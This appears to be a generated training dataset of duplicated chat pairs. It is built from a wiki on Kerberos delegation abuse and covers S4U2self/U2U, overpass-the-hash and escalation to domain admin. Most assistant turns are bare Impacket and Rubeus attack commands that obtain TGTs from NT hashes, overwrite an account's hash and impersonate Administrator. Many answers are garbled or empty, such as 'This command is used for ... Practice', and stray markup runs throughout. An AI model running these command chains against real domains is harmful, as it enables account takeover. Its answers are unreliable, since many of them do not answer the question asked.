[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Obtain a TGT through overpass-the-hash to use RC4 work?

[Assistant] getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Obtain a TGT through overpass-the-hash to use RC4 work?

Response: getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Obtain a TGT through overpass-the-hash to use RC4?

[Assistant] getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Obtain a TGT through overpass-the-hash to use RC4?

Response: getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Obtain the TGT session key?

[Assistant] describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Obtain the TGT session key?

Response: describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Obtain the TGT session key?

[Assistant] describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Obtain the TGT session key?

Response: describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Change the controlledaccountwithoutSPN's NT hash with the TGT session key?

[Assistant] changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Change the controlledaccountwithoutSPN's NT hash with the TGT session key?

Response: changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Change the controlledaccountwithoutSPN's NT hash with the TGT session key during a pentest?

[Assistant] changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Change the controlledaccountwithoutSPN's NT hash with the TGT session key during a pentest?

Response: changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)

[Assistant] KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)

Response: KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)

[Assistant] KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)

Response: KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)

[Assistant]
changepasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
```

After these steps, the final service ticket can be used with Pass-the-ticket.

=== Windows

From Windows systems, Rubeus (C#) can be used to operate the technique.

The steps detailed in PR #137 can be followed.

After these steps, the final service ticket can be used with Pass-the-ticket.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)

Response:
changepasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
```

After these steps, the final service ticket can be used with Pass-the-ticket.

=== Windows

From Windows systems, Rubeus (C#) can be used to operate the technique.

The steps detailed in PR #137 can be followed.

After these steps, the final service ticket can be used with Pass-the-ticket.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)?

[Assistant]
changepasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
```

After these steps, the final service ticket can be used with Pass-the-ticket.

=== Windows

From Windows systems, Rubeus (C#) can be used to operate the technique.

The steps detailed in PR #137 can be followed.

After these steps, the final service ticket can be used with Pass-the-ticket.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)?

Response:
changepasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
```

After these steps, the final service ticket can be used with Pass-the-ticket.

=== Windows

From Windows systems, Rubeus (C#) can be used to operate the technique.

The steps detailed in PR #137 can be followed.

After these steps, the final service ticket can be used with Pass-the-ticket.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about S4U2self abuse - Theory?

[Assistant] The following recipe shows how to abuse S4U2self for Local Privilege Escalation, or for stealthier alternative to Silver Ticket. There are other tricks based on S4U2self, using u2u (user-to-user) as well.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about S4U2self abuse - Theory?

Response: The following recipe shows how to abuse S4U2self for Local Privilege Escalation, or for stealthier alternative to Silver Ticket. There are other tricks based on S4U2self, using u2u (user-to-user) as well.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for S4U2self abuse - Theory

[Assistant] The following recipe shows how to abuse S4U2self for Local Privilege Escalation, or for stealthier alternative to Silver Ticket. There are other tricks based on S4U2self, using u2u (user-to-user) as well.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for S4U2self abuse - Theory

Response: The following recipe shows how to abuse S4U2self for Local Privilege Escalation, or for stealthier alternative to Silver Ticket. There are other tricks based on S4U2self, using u2u (user-to-user) as well.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain S4U2self abuse - Delegation and extensions

[Assistant]
Kerberos delegations allow services to access other services on behalf of domain users.

The "Kerberos" authentication protocol features delegation capabilities. Kerberos delegations can be abused by attackers to obtain access to valuable assets and sometimes even escalate to domain admin privileges. Regarding constrained delegations and rbcd, those types of delegation rely on Kerberos extensions called S4U2Self and S4U2Proxy.

Simply put, Service for User to Self (S4U2self) allows a service to obtain a Service Ticket, on behalf of a user (called "principal"), to itself.

Last but not least, S4U2self can be used to produce a Service Ticket to oneself on behalf of another domain user, even if that user is "sensitive for delegation" or member of the Protected Users group. Consequently, this allows attackers, in very specific scenarios, to escalate their privileges or perform lateral movements.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain S4U2self abuse - Delegation and extensions

Response:
Kerberos delegations allow services to access other services on behalf of domain users.

The "Kerberos" authentication protocol features delegation capabilities. Kerberos delegations can be abused by attackers to obtain access to valuable assets and sometimes even escalate to domain admin privileges. Regarding constrained delegations and rbcd, those types of delegation rely on Kerberos extensions called S4U2Self and S4U2Proxy.

Simply put, Service for User to Self (S4U2self) allows a service to obtain a Service Ticket, on behalf of a user (called "principal"), to itself.

Last but not least, S4U2self can be used to produce a Service Ticket to oneself on behalf of another domain user, even if that user is "sensitive for delegation" or member of the Protected Users group. Consequently, this allows attackers, in very specific scenarios, to escalate their privileges or perform lateral movements.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute S4U2self abuse - Delegation and extensions?

[Assistant]
Kerberos delegations allow services to access other services on behalf of domain users.

The "Kerberos" authentication protocol features delegation capabilities. Kerberos delegations can be abused by attackers to obtain access to valuable assets and sometimes even escalate to domain admin privileges. Regarding constrained delegations and rbcd, those types of delegation rely on Kerberos extensions called S4U2Self and S4U2Proxy.

Simply put, Service for User to Self (S4U2self) allows a service to obtain a Service Ticket, on behalf of a user (called "principal"), to itself.

Last but not least, S4U2self can be used to produce a Service Ticket to oneself on behalf of another domain user, even if that user is "sensitive for delegation" or member of the Protected Users group. Consequently, this allows attackers, in very specific scenarios, to escalate their privileges or perform lateral movements.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute S4U2self abuse - Delegation and extensions?

Response:
Kerberos delegations allow services to access other services on behalf of domain users.

The "Kerberos" authentication protocol features delegation capabilities. Kerberos delegations can be abused by attackers to obtain access to valuable assets and sometimes even escalate to domain admin privileges. Regarding constrained delegations and rbcd, those types of delegation rely on Kerberos extensions called S4U2Self and S4U2Proxy.

Simply put, Service for User to Self (S4U2self) allows a service to obtain a Service Ticket, on behalf of a user (called "principal"), to itself.

Last but not least, S4U2self can be used to produce a Service Ticket to oneself on behalf of another domain user, even if that user is "sensitive for delegation" or member of the Protected Users group. Consequently, this allows attackers, in very specific scenarios, to escalate their privileges or perform lateral movements.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about S4U2self abuse - Microsoft Virtual Accounts?

[Assistant] Since machine accounts have their own set of SPNs by default at their creation, S4U2self can be used by any machine account, without any supplementary configuration. If an attacker manages to execute code as NT AUTHORITY\NETWORK SERVICE or as any other "Microsoft Virtual Account" (e.g. defaultapppool or mssqlservice) he will be able to escalate his privileges by abusing S4U2self. This happens because this kind of accounts all act on the network as the machine itself.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about S4U2self abuse - Microsoft Virtual Accounts?

Response: Since machine accounts have their own set of SPNs by default at their creation, S4U2self can be used by any machine account, without any supplementary configuration. If an attacker manages to execute code as NT AUTHORITY\NETWORK SERVICE or as any other "Microsoft Virtual Account" (e.g. defaultapppool or mssqlservice) he will be able to escalate his privileges by abusing S4U2self. This happens because this kind of accounts all act on the network as the machine itself.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do S4U2self abuse - Microsoft Virtual Accounts

[Assistant] Since machine accounts have their own set of SPNs by default at their creation, S4U2self can be used by any machine account, without any supplementary configuration. If an attacker manages to execute code as NT AUTHORITY\NETWORK SERVICE or as any other "Microsoft Virtual Account" (e.g. defaultapppool or mssqlservice) he will be able to escalate his privileges by abusing S4U2self. This happens because this kind of accounts all act on the network as the machine itself.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do S4U2self abuse - Microsoft Virtual Accounts

Response: Since machine accounts have their own set of SPNs by default at their creation, S4U2self can be used by any machine account, without any supplementary configuration. If an attacker manages to execute code as NT AUTHORITY\NETWORK SERVICE or as any other "Microsoft Virtual Account" (e.g. defaultapppool or mssqlservice) he will be able to escalate his privileges by abusing S4U2self. This happens because this kind of accounts all act on the network as the machine itself.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe S4U2self abuse - OPSEC considerations in the context of penetration testing

[Assistant] The S4U2self abuse is not only a great way to perform Local Privilege Escalation or a lateral move, it's also an way more stealthier alternative to Silver Tickets when an attacker has knowledge of a machine account's Kerberos keys. While a Silver Ticket is a Service Ticket featuring a forged PAC, the Service Ticket issued after an S4U2self request will be legitimate and will feature a valid PAC.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe S4U2self abuse - OPSEC considerations in the context of penetration testing

Response: The S4U2self abuse is not only a great way to perform Local Privilege Escalation or a lateral move, it's also an way more stealthier alternative to Silver Tickets when an attacker has knowledge of a machine account's Kerberos keys. While a Silver Ticket is a Service Ticket featuring a forged PAC, the Service Ticket issued after an S4U2self request will be legitimate and will feature a valid PAC.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for S4U2self abuse - OPSEC considerations?

[Assistant] The S4U2self abuse is not only a great way to perform Local Privilege Escalation or a lateral move, it's also an way more stealthier alternative to Silver Tickets when an attacker has knowledge of a machine account's Kerberos keys. While a Silver Ticket is a Service Ticket featuring a forged PAC, the Service Ticket issued after an S4U2self request will be legitimate and will feature a valid PAC.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for S4U2self abuse - OPSEC considerations?

Response: The S4U2self abuse is not only a great way to perform Local Privilege Escalation or a lateral move, it's also an way more stealthier alternative to Silver Tickets when an attacker has knowledge of a machine account's Kerberos keys. While a Silver Ticket is a Service Ticket featuring a forged PAC, the Service Ticket issued after an S4U2self request will be legitimate and will feature a valid PAC.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe S4U2self abuse - Practice in the context of penetration testing

[Assistant]
In order to obtain local admin rights on a target machine, the attackers must be able to execute code on the machine and conduct two major steps: obtain a TGT for the machine account, and use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

``powershell
Rubeus.exe tgtdeleg /nowrap
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe S4U2self abuse - Practice in the context of penetration testing

Response:
In order to obtain local admin rights on a target machine, the attackers must be able to execute code on the machine and conduct two major steps: obtain a TGT for the machine account, and use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

``powershell
Rubeus.exe tgtdeleg /nowrap
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through S4U2self abuse - Practice

[Assistant]
In order to obtain local admin rights on a target machine, the attackers must be able to execute code on the machine and conduct two major steps: obtain a TGT for the machine account, and use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

``powershell
Rubeus.exe tgtdeleg /nowrap
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through S4U2self abuse - Practice

Response:
In order to obtain local admin rights on a target machine, the attackers must be able to execute code on the machine and conduct two major steps: obtain a TGT for the machine account, and use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

``powershell
Rubeus.exe tgtdeleg /nowrap
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Rubeus.exe for s4u2self abuse - practice?

[Assistant] Rubeus.exe tgtdeleg /nowrap

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Rubeus.exe for s4u2self abuse - practice?

Response: Rubeus.exe tgtdeleg /nowrap


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do S4U2self abuse - Practice

[Assistant] Rubeus.exe tgtdeleg /nowrap

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do S4U2self abuse - Practice

Response: Rubeus.exe tgtdeleg /nowrap


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Rubeus.exe tgtdeleg /nowrap`?

[Assistant] This command is used for s4u2self abuse - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Rubeus.exe tgtdeleg /nowrap`?

Response: This command is used for s4u2self abuse - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of S4U2self abuse - 1. Machine account's TGT

[Assistant]
This step revolves around the tgtdeleg feature from Rubeus which allows an attacker that has code execution on a machine to ask a TGT, which will be the machine account's TGT (cf. Microsoft Virtual Accounts).

``powershell
Rubeus.exe tgtdeleg /nowrap
`

The TGT can then be used with Pass the Ticket for the next step, which can be conducted remotely if needed, unlike this initial step.

Alternatively, if the machine account credentials are known, a TGT can be requested commonly.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getTGT.py (Python) script can be used for that purpose. However, this step is optional if getST.py is to be used later on for the S4U2self request. In this case, with the appropriate arguments, it will request a TGT automatically

`bash
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose. However, this step is optional if Rubeus is to be used later on for the S4U2self request. In this case, with the appropriate arguments, Rubeus will request a TGT automatically.

`powershell
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of S4U2self abuse - 1. Machine account's TGT

Response:
This step revolves around the tgtdeleg feature from Rubeus which allows an attacker that has code execution on a machine to ask a TGT, which will be the machine account's TGT (cf. Microsoft Virtual Accounts).

``powershell
Rubeus.exe tgtdeleg /nowrap
`

The TGT can then be used with Pass the Ticket for the next step, which can be conducted remotely if needed, unlike this initial step.

Alternatively, if the machine account credentials are known, a TGT can be requested commonly.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getTGT.py (Python) script can be used for that purpose. However, this step is optional if getST.py is to be used later on for the S4U2self request. In this case, with the appropriate arguments, it will request a TGT automatically

`bash
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose. However, this step is optional if Rubeus is to be used later on for the S4U2self request. In this case, with the appropriate arguments, Rubeus will request a TGT automatically.

`powershell
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out S4U2self abuse - 1. Machine account's TGT during a pentest?

[Assistant]
This step revolves around the tgtdeleg feature from Rubeus which allows an attacker that has code execution on a machine to ask a TGT, which will be the machine account's TGT (cf. Microsoft Virtual Accounts).

``powershell
Rubeus.exe tgtdeleg /nowrap
`

The TGT can then be used with Pass the Ticket for the next step, which can be conducted remotely if needed, unlike this initial step.

Alternatively, if the machine account credentials are known, a TGT can be requested commonly.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getTGT.py (Python) script can be used for that purpose. However, this step is optional if getST.py is to be used later on for the S4U2self request. In this case, with the appropriate arguments, it will request a TGT automatically

`bash
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose. However, this step is optional if Rubeus is to be used later on for the S4U2self request. In this case, with the appropriate arguments, Rubeus will request a TGT automatically.

`powershell
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out S4U2self abuse - 1. Machine account's TGT during a pentest?

Response:
This step revolves around the tgtdeleg feature from Rubeus which allows an attacker that has code execution on a machine to ask a TGT, which will be the machine account's TGT (cf. Microsoft Virtual Accounts).

``powershell
Rubeus.exe tgtdeleg /nowrap
`

The TGT can then be used with Pass the Ticket for the next step, which can be conducted remotely if needed, unlike this initial step.

Alternatively, if the machine account credentials are known, a TGT can be requested commonly.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getTGT.py (Python) script can be used for that purpose. However, this step is optional if getST.py is to be used later on for the S4U2self request. In this case, with the appropriate arguments, it will request a TGT automatically

`bash
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose. However, this step is optional if Rubeus is to be used later on for the S4U2self request. In this case, with the appropriate arguments, Rubeus will request a TGT automatically.

`powershell
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use getTGT.py for s4u2self abuse - 1. machine account's tgt?

[Assistant] getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use getTGT.py for s4u2self abuse - 1. machine account's tgt?

Response: getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for S4U2self abuse - 1. Machine account's TGT

[Assistant] getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for S4U2self abuse - 1. Machine account's TGT

Response: getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"`?

[Assistant] This command is used for s4u2self abuse - 1. machine account's tgt. 1. Machine account's TGT

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"`?

Response: This command is used for s4u2self abuse - 1. machine account's tgt. 1. Machine account's TGT


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Rubeus.exe command for s4u2self abuse - 1. machine account's tgt

[Assistant] Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Rubeus.exe command for s4u2self abuse - 1. machine account's tgt

Response: Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through S4U2self abuse - 1. Machine account's TGT

[Assistant] Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through S4U2self abuse - 1. Machine account's TGT

Response: Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"`?

[Assistant] This command is used for s4u2self abuse - 1. machine account's tgt. 1. Machine account's TGT

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"`?

Response: This command is used for s4u2self abuse - 1. machine account's tgt. 1. Machine account's TGT


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does S4U2self abuse - 2. Obtain a Service Ticket work?

[Assistant]
The TGT can then be used along with S4U2self to obtain a Service Ticket impersonating another domain user on the machine.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getST.py (Python) script can be used for the purpose. If needed, .kirbi files can be converted to .ccache (cf. Pass the Ticket).

``bash
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
``

:::

Once a Service Ticket is received, it can be used with pass-the-ticket/pass-the-cache to obtain access to oneself as the "DomainAdmin" (the user can be changed in the request. Attackers should select a domain user which has local admin rights on the machine).

